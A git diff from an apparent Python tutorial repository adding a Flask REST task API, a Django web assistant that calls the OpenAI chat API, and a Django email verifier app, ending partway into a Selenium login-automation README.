00000000..d80bd138 --- /dev/null +++ b/web-programming/news_project/requirements.txt @@ -0,0 +1,2 @@ +django +djangorestframework \ No newline at end of file diff --git a/web-programming/restful-api-flask/README.md b/web-programming/restful-api-flask/README.md new file mode 100644 index 00000000..33cae8c8 --- /dev/null +++ b/web-programming/restful-api-flask/README.md @@ -0,0 +1 @@ +# [How to Create a RESTful API with Flask in Python](https://www.thepythoncode.com/article/create-a-restful-api-with-flask-in-python) \ No newline at end of file diff --git a/web-programming/restful-api-flask/app.py b/web-programming/restful-api-flask/app.py new file mode 100644 index 00000000..32e7fcf8 --- /dev/null +++ b/web-programming/restful-api-flask/app.py @@ -0,0 +1,22 @@ +from flask import Flask +from flask_restful import Api +from models import db +import config +from resources import TaskList + +# Create the Flask application and the Flask-RESTful API manager. +app = Flask(__name__) +app.config.from_object(config) +# Initialize the Flask-SQLAlchemy object. +db.init_app(app) +# Create the Flask-RESTful API manager. +api = Api(app) +# Create the endpoints. +api.add_resource(TaskList, '/tasks') + +if __name__ == '__main__': + # Create the database tables. + with app.app_context(): + db.create_all() + # Start the Flask development web server. + app.run(debug=True) diff --git a/web-programming/restful-api-flask/config.py b/web-programming/restful-api-flask/config.py new file mode 100644 index 00000000..3974b455 --- /dev/null +++ b/web-programming/restful-api-flask/config.py @@ -0,0 +1 @@ +SQLALCHEMY_DATABASE_URI = 'sqlite:///tasks.db' \ No newline at end of file diff --git a/web-programming/restful-api-flask/models.py b/web-programming/restful-api-flask/models.py new file mode 100644 index 00000000..3d792130 --- /dev/null +++ b/web-programming/restful-api-flask/models.py @@ -0,0 +1,11 @@ +from flask_sqlalchemy import SQLAlchemy + +db = SQLAlchemy() + +class Task(db.Model): + id = db.Column(db.Integer, primary_key=True) + description = db.Column(db.String(200), nullable=False) # nullable=False means that the column cannot be empty + + def __repr__(self): + # This method is used to print the object. + return f'Task {self.id}: {self.description}' diff --git a/web-programming/restful-api-flask/requirements.txt b/web-programming/restful-api-flask/requirements.txt new file mode 100644 index 00000000..d3d142f8 --- /dev/null +++ b/web-programming/restful-api-flask/requirements.txt @@ -0,0 +1,3 @@ +Flask +Flask-RESTful +Flask-SQLAlchemy \ No newline at end of file diff --git a/web-programming/restful-api-flask/resources.py b/web-programming/restful-api-flask/resources.py new file mode 100644 index 00000000..ea917f7c --- /dev/null +++ b/web-programming/restful-api-flask/resources.py @@ -0,0 +1,29 @@ +from flask_restful import Resource +from flask import request +from models import Task, db + +class TaskList(Resource): + def get(self): + # Get all the tasks from the database. + tasks = Task.query.all() + # Convert the tasks to JSON and return a response. + task_list = [{'id': task.id, 'description': task.description} for task in tasks] + return {'tasks': task_list} + + def post(self): + # Get the JSON data from the request. + task_data = request.get_json() + # Check if the data is valid. + if not task_data: + return {'message': 'No input data provided'}, 400 + description = task_data.get('description') + if not description: + return {'message': 'Description is required'}, 400 + # Add the task to the database. + new_task = Task(description=description) + db.session.add(new_task) + # Commit the task to the database. + db.session.commit() + # Return a message to the user. + return {'message': 'Task added', 'task': {'id': new_task.id, 'description': new_task.description}} + diff --git a/web-programming/restful-api-flask/tasks.db b/web-programming/restful-api-flask/tasks.db new file mode 100644 index 00000000..6273f7df Binary files /dev/null and b/web-programming/restful-api-flask/tasks.db differ diff --git a/web-programming/webassistant/README.md b/web-programming/webassistant/README.md new file mode 100644 index 00000000..5a141d4f --- /dev/null +++ b/web-programming/webassistant/README.md @@ -0,0 +1 @@ +# [How to Build a Web Assistant Using Django and OpenAI GPT-3.5 API in Python](https://www.thepythoncode.com/article/web-assistant-django-with-gpt3-api-python) \ No newline at end of file diff --git a/web-programming/webassistant/assistant/__init__.py b/web-programming/webassistant/assistant/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/webassistant/assistant/admin.py b/web-programming/webassistant/assistant/admin.py new file mode 100644 index 00000000..8c38f3f3 --- /dev/null +++ b/web-programming/webassistant/assistant/admin.py @@ -0,0 +1,3 @@ +from django.contrib import admin + +# Register your models here. diff --git a/web-programming/webassistant/assistant/apps.py b/web-programming/webassistant/assistant/apps.py new file mode 100644 index 00000000..843cb2ba --- /dev/null +++ b/web-programming/webassistant/assistant/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig + + +class AssistantConfig(AppConfig): + default_auto_field = 'django.db.models.BigAutoField' + name = 'assistant' diff --git a/web-programming/webassistant/assistant/migrations/__init__.py b/web-programming/webassistant/assistant/migrations/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/webassistant/assistant/migrations/__pycache__/__init__.cpython-310.pyc b/web-programming/webassistant/assistant/migrations/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 00000000..b4966296 Binary files /dev/null and b/web-programming/webassistant/assistant/migrations/__pycache__/__init__.cpython-310.pyc differ diff --git a/web-programming/webassistant/assistant/migrations/__pycache__/__init__.cpython-39.pyc b/web-programming/webassistant/assistant/migrations/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 00000000..84e74623 Binary files /dev/null and b/web-programming/webassistant/assistant/migrations/__pycache__/__init__.cpython-39.pyc differ diff --git a/web-programming/webassistant/assistant/models.py b/web-programming/webassistant/assistant/models.py new file mode 100644 index 00000000..71a83623 --- /dev/null +++ b/web-programming/webassistant/assistant/models.py @@ -0,0 +1,3 @@ +from django.db import models + +# Create your models here. diff --git a/web-programming/webassistant/assistant/secret_key.py b/web-programming/webassistant/assistant/secret_key.py new file mode 100644 index 00000000..1377d30f --- /dev/null +++ b/web-programming/webassistant/assistant/secret_key.py @@ -0,0 +1 @@ +API_KEY = 'put your API key here' \ No newline at end of file diff --git a/web-programming/webassistant/assistant/templates/assistant/404.html b/web-programming/webassistant/assistant/templates/assistant/404.html new file mode 100644 index 00000000..c0fbd61a --- /dev/null +++ b/web-programming/webassistant/assistant/templates/assistant/404.html @@ -0,0 +1,16 @@ +{% extends 'assistant/base.html' %} + +{% block title %} 404 {% endblock %} + +{% block content %} +
+ +
+

Page Not Found

+

Make sure you are connected to the internet or your query is correct

+ Go Home +
+ +
+ +{% endblock %} \ No newline at end of file diff --git a/web-programming/webassistant/assistant/templates/assistant/base.html b/web-programming/webassistant/assistant/templates/assistant/base.html new file mode 100644 index 00000000..bb34e579 --- /dev/null +++ b/web-programming/webassistant/assistant/templates/assistant/base.html @@ -0,0 +1,14 @@ + + + + + + + Web Assistant | {% block title %} {% endblock %} + + + + {% block content %} + {% endblock %} + + \ No newline at end of file diff --git a/web-programming/webassistant/assistant/templates/assistant/home.html b/web-programming/webassistant/assistant/templates/assistant/home.html new file mode 100644 index 00000000..8ca690b3 --- /dev/null +++ b/web-programming/webassistant/assistant/templates/assistant/home.html @@ -0,0 +1,35 @@ +{% extends 'assistant/base.html' %} +{% block title %} Home {% endblock %} +{% block content %} +
+
+
+

A.I WEB ASSISTANT

+
+
+ +
+
+ {% for message in messages %} +
+
+ {{ message.role|title }}: {{ message.content|linebreaksbr }} +
+
+ {% endfor %} +
+
+ + {% csrf_token %} + + + + +
+
+
+
+
+{% endblock %} diff --git a/web-programming/webassistant/assistant/tests.py b/web-programming/webassistant/assistant/tests.py new file mode 100644 index 00000000..7ce503c2 --- /dev/null +++ b/web-programming/webassistant/assistant/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/web-programming/webassistant/assistant/urls.py b/web-programming/webassistant/assistant/urls.py new file mode 100644 index 00000000..94d8d242 --- /dev/null +++ b/web-programming/webassistant/assistant/urls.py @@ -0,0 +1,11 @@ +# here we are import path from in-built django-urls +from django.urls import path +# here we are importing all the Views from the views.py file +from . import views + +# a list of all the urls +urlpatterns = [ + path('', views.home, name='home'), + path('new_chat/', views.new_chat, name='new_chat'), + path('error-handler/', views.error_handler, name='error_handler'), +] \ No newline at end of file diff --git a/web-programming/webassistant/assistant/views.py b/web-programming/webassistant/assistant/views.py new file mode 100644 index 00000000..2d5b573d --- /dev/null +++ b/web-programming/webassistant/assistant/views.py @@ -0,0 +1,69 @@ +# importing render and redirect +from django.shortcuts import render, redirect +# importing the openai API +import openai +# import the generated API key from the secret_key file +from .secret_key import API_KEY +# loading the API key from the secret_key file +openai.api_key = API_KEY + +# this is the home view for handling home page logic +def home(request): + try: + # if the session does not have a messages key, create one + if 'messages' not in request.session: + request.session['messages'] = [ + {"role": "system", "content": "You are now chatting with a user, provide them with comprehensive, short and concise answers."}, + ] + + if request.method == 'POST': + # get the prompt from the form + prompt = request.POST.get('prompt') + # get the temperature from the form + temperature = float(request.POST.get('temperature', 0.1)) + # append the prompt to the messages list + request.session['messages'].append({"role": "user", "content": prompt}) + # set the session as modified + request.session.modified = True + # call the openai API + response = openai.ChatCompletion.create( + model="gpt-3.5-turbo", + messages=request.session['messages'], + temperature=temperature, + max_tokens=1000, + ) + # format the response + formatted_response = response['choices'][0]['message']['content'] + # append the response to the messages list + request.session['messages'].append({"role": "assistant", "content": formatted_response}) + request.session.modified = True + # redirect to the home page + context = { + 'messages': request.session['messages'], + 'prompt': '', + 'temperature': temperature, + } + return render(request, 'assistant/home.html', context) + else: + # if the request is not a POST request, render the home page + context = { + 'messages': request.session['messages'], + 'prompt': '', + 'temperature': 0.1, + } + return render(request, 'assistant/home.html', context) + except Exception as e: + print(e) + # if there is an error, redirect to the error handler + return redirect('error_handler') + + +def new_chat(request): + # clear the messages list + request.session.pop('messages', None) + return redirect('home') + + +# this is the view for handling errors +def error_handler(request): + return render(request, 'assistant/404.html') diff --git a/web-programming/webassistant/db.sqlite3 b/web-programming/webassistant/db.sqlite3 new file mode 100644 index 00000000..a441cd6d Binary files /dev/null and b/web-programming/webassistant/db.sqlite3 differ diff --git a/web-programming/webassistant/manage.py b/web-programming/webassistant/manage.py new file mode 100644 index 00000000..9358a811 --- /dev/null +++ b/web-programming/webassistant/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'webassistant.settings') + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == '__main__': + main() diff --git a/web-programming/webassistant/requirements.txt b/web-programming/webassistant/requirements.txt new file mode 100644 index 00000000..694c070a --- /dev/null +++ b/web-programming/webassistant/requirements.txt @@ -0,0 +1,2 @@ +openai +django \ No newline at end of file diff --git a/web-programming/webassistant/webassistant/__init__.py b/web-programming/webassistant/webassistant/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/webassistant/webassistant/__pycache__/__init__.cpython-310.pyc b/web-programming/webassistant/webassistant/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 00000000..d1e2747e Binary files /dev/null and b/web-programming/webassistant/webassistant/__pycache__/__init__.cpython-310.pyc differ diff --git a/web-programming/webassistant/webassistant/__pycache__/__init__.cpython-39.pyc b/web-programming/webassistant/webassistant/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 00000000..ce20d48e Binary files /dev/null and b/web-programming/webassistant/webassistant/__pycache__/__init__.cpython-39.pyc differ diff --git a/web-programming/webassistant/webassistant/__pycache__/settings.cpython-310.pyc b/web-programming/webassistant/webassistant/__pycache__/settings.cpython-310.pyc new file mode 100644 index 00000000..b23b05a4 Binary files /dev/null and b/web-programming/webassistant/webassistant/__pycache__/settings.cpython-310.pyc differ diff --git a/web-programming/webassistant/webassistant/__pycache__/settings.cpython-39.pyc b/web-programming/webassistant/webassistant/__pycache__/settings.cpython-39.pyc new file mode 100644 index 00000000..b67b6a9c Binary files /dev/null and b/web-programming/webassistant/webassistant/__pycache__/settings.cpython-39.pyc differ diff --git a/web-programming/webassistant/webassistant/__pycache__/urls.cpython-310.pyc b/web-programming/webassistant/webassistant/__pycache__/urls.cpython-310.pyc new file mode 100644 index 00000000..abd8ee50 Binary files /dev/null and b/web-programming/webassistant/webassistant/__pycache__/urls.cpython-310.pyc differ diff --git a/web-programming/webassistant/webassistant/__pycache__/urls.cpython-39.pyc b/web-programming/webassistant/webassistant/__pycache__/urls.cpython-39.pyc new file mode 100644 index 00000000..1a618c61 Binary files /dev/null and b/web-programming/webassistant/webassistant/__pycache__/urls.cpython-39.pyc differ diff --git a/web-programming/webassistant/webassistant/__pycache__/wsgi.cpython-310.pyc b/web-programming/webassistant/webassistant/__pycache__/wsgi.cpython-310.pyc new file mode 100644 index 00000000..d792b4f5 Binary files /dev/null and b/web-programming/webassistant/webassistant/__pycache__/wsgi.cpython-310.pyc differ diff --git a/web-programming/webassistant/webassistant/__pycache__/wsgi.cpython-39.pyc b/web-programming/webassistant/webassistant/__pycache__/wsgi.cpython-39.pyc new file mode 100644 index 00000000..d2983234 Binary files /dev/null and b/web-programming/webassistant/webassistant/__pycache__/wsgi.cpython-39.pyc differ diff --git a/web-programming/webassistant/webassistant/asgi.py b/web-programming/webassistant/webassistant/asgi.py new file mode 100644 index 00000000..255730ed --- /dev/null +++ b/web-programming/webassistant/webassistant/asgi.py @@ -0,0 +1,16 @@ +""" +ASGI config for webassistant project. + +It exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'webassistant.settings') + +application = get_asgi_application() diff --git a/web-programming/webassistant/webassistant/settings.py b/web-programming/webassistant/webassistant/settings.py new file mode 100644 index 00000000..8a709836 --- /dev/null +++ b/web-programming/webassistant/webassistant/settings.py @@ -0,0 +1,125 @@ +""" +Django settings for webassistant project. + +Generated by 'django-admin startproject' using Django 4.1.5. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/4.1/ref/settings/ +""" + +from pathlib import Path + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/4.1/howto/deployment/checklist/ + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = 'django-insecure-w48hsbn$3hi4f46&cc@(3uqrqp60(e&gzm99vc!qvv2x@59fa5' + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True + +ALLOWED_HOSTS = [] + + +# Application definition + +INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + # registering the new app + 'assistant', +] + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] + +ROOT_URLCONF = 'webassistant.urls' + +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] + +WSGI_APPLICATION = 'webassistant.wsgi.application' + + +# Database +# https://docs.djangoproject.com/en/4.1/ref/settings/#databases + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': BASE_DIR / 'db.sqlite3', + } +} + + +# Password validation +# https://docs.djangoproject.com/en/4.1/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + + +# Internationalization +# https://docs.djangoproject.com/en/4.1/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/4.1/howto/static-files/ + +STATIC_URL = 'static/' + +# Default primary key field type +# https://docs.djangoproject.com/en/4.1/ref/settings/#default-auto-field + +DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' diff --git a/web-programming/webassistant/webassistant/urls.py b/web-programming/webassistant/webassistant/urls.py new file mode 100644 index 00000000..c30ec629 --- /dev/null +++ b/web-programming/webassistant/webassistant/urls.py @@ -0,0 +1,10 @@ +from django.contrib import admin +from django.urls import path, include + +# a list of all the projects urls +urlpatterns = [ + # the url to the admin site + path('admin/', admin.site.urls), + # registering all the assistant application urls + path('', include('assistant.urls')), +] diff --git a/web-programming/webassistant/webassistant/wsgi.py b/web-programming/webassistant/webassistant/wsgi.py new file mode 100644 index 00000000..c50f872c --- /dev/null +++ b/web-programming/webassistant/webassistant/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for webassistant project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'webassistant.settings') + +application = get_wsgi_application() diff --git a/web-programming/webbased-emailverifier/README.md b/web-programming/webbased-emailverifier/README.md new file mode 100644 index 00000000..4cd52db4 --- /dev/null +++ b/web-programming/webbased-emailverifier/README.md @@ -0,0 +1 @@ +# [How to Build an Email Address Verifier App using Django in Python](https://www.thepythoncode.com/article/build-an-email-verifier-app-using-django-in-python) \ No newline at end of file diff --git a/web-programming/webbased-emailverifier/db.sqlite3 b/web-programming/webbased-emailverifier/db.sqlite3 new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/webbased-emailverifier/manage.py b/web-programming/webbased-emailverifier/manage.py new file mode 100644 index 00000000..4489d1c8 --- /dev/null +++ b/web-programming/webbased-emailverifier/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'webbased_emailverifier.settings') + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == '__main__': + main() diff --git a/web-programming/webbased-emailverifier/requirements.txt b/web-programming/webbased-emailverifier/requirements.txt new file mode 100644 index 00000000..687b6fab --- /dev/null +++ b/web-programming/webbased-emailverifier/requirements.txt @@ -0,0 +1,2 @@ +django +email-validator \ No newline at end of file diff --git a/web-programming/webbased-emailverifier/toto.todo b/web-programming/webbased-emailverifier/toto.todo new file mode 100644 index 00000000..f74825a7 --- /dev/null +++ b/web-programming/webbased-emailverifier/toto.todo @@ -0,0 +1,7 @@ +$ python -m venv project +$ .\project\Scripts\activate +$ pip install -r requirements.txt +$ django-admin startproject webbased_emailverifier +$ cd webbased_emailverifier\ +$ python manage.py startapp verifier +$ python manage.py runserver \ No newline at end of file diff --git a/web-programming/webbased-emailverifier/verifier/__init__.py b/web-programming/webbased-emailverifier/verifier/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/webbased-emailverifier/verifier/admin.py b/web-programming/webbased-emailverifier/verifier/admin.py new file mode 100644 index 00000000..8c38f3f3 --- /dev/null +++ b/web-programming/webbased-emailverifier/verifier/admin.py @@ -0,0 +1,3 @@ +from django.contrib import admin + +# Register your models here. diff --git a/web-programming/webbased-emailverifier/verifier/apps.py b/web-programming/webbased-emailverifier/verifier/apps.py new file mode 100644 index 00000000..5ce3ad25 --- /dev/null +++ b/web-programming/webbased-emailverifier/verifier/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig + + +class VerifierConfig(AppConfig): + default_auto_field = 'django.db.models.BigAutoField' + name = 'verifier' diff --git a/web-programming/webbased-emailverifier/verifier/migrations/__init__.py b/web-programming/webbased-emailverifier/verifier/migrations/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/webbased-emailverifier/verifier/migrations/__pycache__/__init__.cpython-310.pyc b/web-programming/webbased-emailverifier/verifier/migrations/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 00000000..efbe0e8a Binary files /dev/null and b/web-programming/webbased-emailverifier/verifier/migrations/__pycache__/__init__.cpython-310.pyc differ diff --git a/web-programming/webbased-emailverifier/verifier/migrations/__pycache__/__init__.cpython-39.pyc b/web-programming/webbased-emailverifier/verifier/migrations/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 00000000..7748246b Binary files /dev/null and b/web-programming/webbased-emailverifier/verifier/migrations/__pycache__/__init__.cpython-39.pyc differ diff --git a/web-programming/webbased-emailverifier/verifier/models.py b/web-programming/webbased-emailverifier/verifier/models.py new file mode 100644 index 00000000..71a83623 --- /dev/null +++ b/web-programming/webbased-emailverifier/verifier/models.py @@ -0,0 +1,3 @@ +from django.db import models + +# Create your models here. diff --git a/web-programming/webbased-emailverifier/verifier/templates/verifier/base.html b/web-programming/webbased-emailverifier/verifier/templates/verifier/base.html new file mode 100644 index 00000000..47eb163d --- /dev/null +++ b/web-programming/webbased-emailverifier/verifier/templates/verifier/base.html @@ -0,0 +1,19 @@ + + + + + + + Web-based Email Verifier + + + + + {% block content %} + + {% endblock %} + + + + + \ No newline at end of file diff --git a/web-programming/webbased-emailverifier/verifier/templates/verifier/index.html b/web-programming/webbased-emailverifier/verifier/templates/verifier/index.html new file mode 100644 index 00000000..11357db6 --- /dev/null +++ b/web-programming/webbased-emailverifier/verifier/templates/verifier/index.html @@ -0,0 +1,59 @@ + +{% extends 'verifier/base.html' %} + + + +{% block content %} +
+ +
+ +
+

Email Verifier

+ +
+ +
+ {% csrf_token %} +
+ +
+ +
+
+
+ +
+ + {% if messages %} + {% for message in messages %} + {% if message.tags == 'success' %} + + {% elif message.tags == 'warning' %} + + {% endif %} + {% endfor %} + {% endif %} + +
+ +
+ +
+ +
+ +{% endblock %} \ No newline at end of file diff --git a/web-programming/webbased-emailverifier/verifier/tests.py b/web-programming/webbased-emailverifier/verifier/tests.py new file mode 100644 index 00000000..7ce503c2 --- /dev/null +++ b/web-programming/webbased-emailverifier/verifier/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/web-programming/webbased-emailverifier/verifier/urls.py b/web-programming/webbased-emailverifier/verifier/urls.py new file mode 100644 index 00000000..a2238180 --- /dev/null +++ b/web-programming/webbased-emailverifier/verifier/urls.py @@ -0,0 +1,10 @@ +# from the current folder import views +from . import views +# importing path from django.urls +from django.urls import path + +# this is the list of the app's views +# if the app has several views then it will have several paths +urlpatterns = [ + path('', views.index, name='home'), +] \ No newline at end of file diff --git a/web-programming/webbased-emailverifier/verifier/views.py b/web-programming/webbased-emailverifier/verifier/views.py new file mode 100644 index 00000000..0008e70b --- /dev/null +++ b/web-programming/webbased-emailverifier/verifier/views.py @@ -0,0 +1,34 @@ +from django.shortcuts import render +# this displays flash messages or notifications +from django.contrib import messages +# importing validate_email and EmailNotValidError +from email_validator import validate_email, EmailNotValidError + + +# Create your views here. +def index(request): + # checking if the method is POST + if request.method == 'POST': + # getting the email from the form input + email = request.POST.get('email-address') + # this is the context + context = { + 'email': email + } + # the try statement for verify/validating the email + try: + # validating the actual email address using the validate_email function + email_object = validate_email(email) + # creating the message and storing it + messages.success(request, f'{email} is a valid email address!!') + # rendering the results to the index page + return render(request, 'verifier/index.html', context) + # the except statement will capture EmailNotValidError error + except EmailNotValidError as e: + # creating the message and storing it + messages.warning(request, f'{e}') + # rendering the error to the index page + return render(request, 'verifier/index.html', context) + + # this will render when there is no request POST or after every POST request + return render(request, 'verifier/index.html') diff --git a/web-programming/webbased-emailverifier/webbased_emailverifier/__init__.py b/web-programming/webbased-emailverifier/webbased_emailverifier/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/webbased-emailverifier/webbased_emailverifier/asgi.py b/web-programming/webbased-emailverifier/webbased_emailverifier/asgi.py new file mode 100644 index 00000000..cc5e655c --- /dev/null +++ b/web-programming/webbased-emailverifier/webbased_emailverifier/asgi.py @@ -0,0 +1,16 @@ +""" +ASGI config for webbased_emailverifier project. + +It exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'webbased_emailverifier.settings') + +application = get_asgi_application() diff --git a/web-programming/webbased-emailverifier/webbased_emailverifier/settings.py b/web-programming/webbased-emailverifier/webbased_emailverifier/settings.py new file mode 100644 index 00000000..8b7a4f80 --- /dev/null +++ b/web-programming/webbased-emailverifier/webbased_emailverifier/settings.py @@ -0,0 +1,124 @@ +""" +Django settings for webbased_emailverifier project. + +Generated by 'django-admin startproject' using Django 4.1.2. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/4.1/ref/settings/ +""" + +from pathlib import Path + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/4.1/howto/deployment/checklist/ + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = 'django-insecure-!whsb9fn*)d)zj(o78=y8y6=7^uh09!w&(_zfdo%wq$m%27+8h' + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True + +ALLOWED_HOSTS = [] + + +# Application definition +INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + # the newly created application + 'verifier', +] + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] + +ROOT_URLCONF = 'webbased_emailverifier.urls' + +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] + +WSGI_APPLICATION = 'webbased_emailverifier.wsgi.application' + + +# Database +# https://docs.djangoproject.com/en/4.1/ref/settings/#databases + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': BASE_DIR / 'db.sqlite3', + } +} + + +# Password validation +# https://docs.djangoproject.com/en/4.1/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + + +# Internationalization +# https://docs.djangoproject.com/en/4.1/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/4.1/howto/static-files/ + +STATIC_URL = 'static/' + +# Default primary key field type +# https://docs.djangoproject.com/en/4.1/ref/settings/#default-auto-field + +DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' diff --git a/web-programming/webbased-emailverifier/webbased_emailverifier/urls.py b/web-programming/webbased-emailverifier/webbased_emailverifier/urls.py new file mode 100644 index 00000000..70046359 --- /dev/null +++ b/web-programming/webbased-emailverifier/webbased_emailverifier/urls.py @@ -0,0 +1,10 @@ + +from django.contrib import admin +from django.urls import path, include + +urlpatterns = [ + # this points to admin.site urls + path('admin/', admin.site.urls), + # this points to verifier urls + path('', include('verifier.urls')), +] diff --git a/web-programming/webbased-emailverifier/webbased_emailverifier/wsgi.py b/web-programming/webbased-emailverifier/webbased_emailverifier/wsgi.py new file mode 100644 index 00000000..f837b888 --- /dev/null +++ b/web-programming/webbased-emailverifier/webbased_emailverifier/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for webbased_emailverifier project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'webbased_emailverifier.settings') + +application = get_wsgi_application() diff --git a/web-scraping/automate-login/README.md b/web-scraping/automate-login/README.md new file mode 100644 index 00000000..f1ae33a3 --- /dev/null +++ b/web-scraping/automate-login/README.md @@ -0,0 +1,5 @@ +# [How to Automate Login using Selenium in Python](https://www.thepythoncode.com/article/automate-login-to-websites-using-selenium-in-python) +To run this: +- `pip3 install -r requirements.txt` +- Get [ChromeDriver](https://sites.google.com/a/chromium.org/chromedriver/home) and put it in the current directory. +- Edit credentials in 